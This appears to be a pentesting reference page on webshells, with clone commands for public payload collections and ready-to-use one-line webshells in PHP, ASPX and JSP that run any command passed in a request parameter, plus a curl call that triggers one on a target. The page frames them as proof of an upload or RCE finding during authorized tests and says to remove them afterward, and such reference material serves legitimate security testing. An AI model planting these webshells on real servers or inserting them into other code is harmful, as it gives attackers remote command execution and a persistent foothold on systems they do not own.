pentesting, updated
Webshells
Reference of common webshell payloads for confirming and leveraging an arbitrary file upload or RCE finding.
What it’s for
Drop a minimal script through a confirmed upload/RCE vulnerability to prove command execution and keep a lightweight foothold for further testing.
Install
# well-known collections, pick the smallest shell that proves the point
git clone https://github.com/tennc/webshell
git clone https://github.com/swisskyrepo/PayloadsAllTheThings
Common commands
# PHP, one-liner
echo '<?php system($_GET["c"]); ?>' > shell.php
curl "https://target/uploads/shell.php?c=id"
# ASPX, one-liner (IIS)
echo '<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd.exe","/c '+Request["c"]+'"); %>' > shell.aspx
# JSP
echo '<%@ page import="java.util.*,java.io.*"%><% out.print(new Scanner(Runtime.getRuntime().exec(request.getParameter("c")).getInputStream()).useDelimiter("\\A").next()); %>' > shell.jsp
Notes
A one-line shell is for proving the finding during an authorized test, not for persistence — remove it before the engagement ends and note its path in the report.
Used in
- Upload of unexpected file types
- Upload of malicious files
- Command injection
- see web server log analysis for spotting one left behind